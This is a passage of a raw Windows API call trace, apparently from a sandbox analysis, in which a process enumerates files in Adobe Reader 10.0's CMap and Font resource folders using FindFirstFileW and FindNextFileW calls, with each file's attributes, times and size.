hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45903, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-B5pc", cAlternateFileName="UCS2-B~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49113, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-ETen-B5", cAlternateFileName="UCS2-E~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBK-EUC", cAlternateFileName="UCS2-G~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3022b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBpc-EUC", cAlternateFileName="UCS2-G~2")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff61, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCms-UHC", cAlternateFileName="UCS2-K~2")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25737, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCpc-EUC", cAlternateFileName="UCS2-K~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-H", cAlternateFileName="UNICNS~2")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-V", cAlternateFileName="UNICNS~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x425e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-H", cAlternateFileName="UNICNS~4")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc33, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-V", cAlternateFileName="UNICNS~3")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x46805, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-H", cAlternateFileName="UNIGB-~2")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-V", cAlternateFileName="UNIGB-~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-H", cAlternateFileName="UNIGB-~4")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-V", cAlternateFileName="UNIGB-~3")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-H", cAlternateFileName="UNIJIS~1")) returned 1 [0235.323] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-H", cAlternateFileName="UNIJIS~2")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-V", cAlternateFileName="UNIJIS~3")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-V", cAlternateFileName="UNIJIS~4")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x315bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-H", cAlternateFileName="UN87E6~1")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-V", cAlternateFileName="UN275C~1")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31610, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-H", cAlternateFileName="UN288D~1")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-V", cAlternateFileName="UNC565~1")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aad3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-H", cAlternateFileName="UNIKS-~4")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-V", cAlternateFileName="UNIKS-~3")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-H", cAlternateFileName="UNIKS-~2")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-V", cAlternateFileName="UNIKS-~1")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 1 [0235.324] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 0 [0235.324] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0235.326] GetProcessHeap () returned 0x550000 [0235.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0235.326] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0235.326] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0235.326] GetProcessHeap () returned 0x550000 [0235.326] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0235.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0235.345] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="ADOBEA~2.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-BoldItalic.otf", cAlternateFileName="ADOBEA~3.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3dce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Italic.otf", cAlternateFileName="ADOBEA~1.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Regular.otf", cAlternateFileName="ADOBEA~4.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10e4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Bold.otf", cAlternateFileName="ADOBEH~4.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-BoldItalic.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83575be0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Italic.otf", cAlternateFileName="ADOBEH~2.OTF")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Regular.otf", cAlternateFileName="ADOBEH~3.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="ADOBEP~1.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Bold.otf", cAlternateFileName="ADOBET~1.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835e8000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-BoldItalic.otf", cAlternateFileName="ADOBET~3.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Italic.otf", cAlternateFileName="ADOBET~4.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10530, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Regular.otf", cAlternateFileName="ADOBET~2.OTF")) returned 1 [0235.408] FindNextFileW (in: 